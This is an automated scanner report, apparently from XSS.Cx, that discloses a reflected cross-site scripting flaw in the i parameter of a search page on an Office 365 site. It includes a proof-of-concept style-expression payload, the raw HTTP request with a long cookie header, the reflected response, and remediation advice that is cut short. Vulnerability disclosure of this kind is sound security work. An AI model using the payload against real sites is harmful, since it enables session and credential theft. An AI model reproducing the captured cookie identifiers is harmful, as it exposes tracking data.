Report generated by XSS.Cx at Wed Aug 08 12:53:15 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, Search Form,

1. Cross-site scripting (reflected)

1. Cross-site scripting (reflected)


Severity:   High
Confidence:   Certain
Path:   /en-us/office365-enterprises/search.aspx

Issue detail

The value of the i request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b2f4"style%3d"x%3aexpression(alert(1))"49a39b5d404 was submitted in the i parameter. This input was echoed as 9b2f4"style="x:expression(alert(1))"49a39b5d404 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


GET /en-us/office365-enterprises/search.aspx?q=--query--&s=all&i=9b2f4"style%3d"x%3aexpression(alert(1))"49a39b5d404 HTTP/1.1
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: MUID=3666228811B269C827B5203315B26917; msresearch=%7B%22version%22%3A%224.6%22%2C%22state%22%3A%7B%22name%22%3A%22IDLE%22%2C%22url%22%3Aundefined%2C%22timestamp%22%3A1322759420890%7D%2C%22lastinvited%22%3A1322759420890%2C%22userid%22%3A%2213227594208902594004429411143%22%2C%22vendorid%22%3A1%2C%22surveys%22%3A%5Bundefined%5D%7D; WT_NVR_RU=0=msdn|technet:1=:2=; ixpLightBrowser=0;; mcI=Thu, 08 Dec 2011 17:12:04 GMT; __unam=289c965-133fa9df7f9-1d9e0509-1; A=I&I=AxUFAAAAAAAvBwAA/xSfRuNJ3QnWRoSvPstEUg!!&CS=117y:4002j5020B02g101040021010002h1010300110100&GO=244; op390basketpagegum=a0qm1h421j27c1m0qm19r127c1m0r81n54ba9; TocHashCookie=ff524484(n)/ff808551(n)/na/; mbox=check#true#1322779125|session#1322779064279-885847#1322780925|PC#1322779064279-885847.17#1325371068; s_vnum=1354315071266%26vn%3D1; s_nr=1322779093701-New; GsfxSessionCookie=7624639702413099; GsfxStatsLog=true; MC1=GUID=6d33373181815e4fb07e31459e18b847&HASH=3137&LV=201112&V=3&LU=1322969869768; WT_FPC=id=1445762464.30191691:lv=1322962705004:ss=1322962647874; omniID=1322759412905_2cf6_7394_388f_3d96a6637117; s_cc=true; s_sq=%5B%5BB%5D%5D; msdn=L=1033; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=46a725ca-4aad-4992-9add-8fd2e3e2b5ca&Microsoft.CreationDate=12/04/2011 03:37:49&Microsoft.LastVisitDate=12/04/2011 03:38:03&Microsoft.NumberOfVisits=2&SessionCookie.Id=70F22B346E3E7D37C0803DBCE272AF5A; MSID=Microsoft.CreationDate=12/01/2011 17:04:51&Microsoft.LastVisitDate=12/04/2011 03:38:03&Microsoft.VisitStartDate=12/04/2011 03:37:49&Microsoft.CookieId=d8f6ba4a-498b-4926-91e6-b123a979f2ad&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=67&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0482-6182-8804-7604; MS0=0c8ec58b6cff4e96a0a854ad54a694f7


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=fshqzu2ji0lkadjdtzbmkee5; path=/; HttpOnly
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
Set-Cookie: TocHashCookie=ff637570(n)/na/; expires=Wed, 04-Dec-2041 03:42:42 GMT; path=/
X-Powered-By: ASP.NET
Date: Sun, 04 Dec 2011 03:42:42 GMT
Content-Length: 20002

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">

<html xmlns="">
<head><title>Search Results -
<input id="mosid_searchscope_clientid" type="hidden" value="9b2f4"style="x:expression(alert(1))"49a39b5d404" />

Report generated by XSS.Cx at Wed Aug 08 12:53:15 EDT 2012.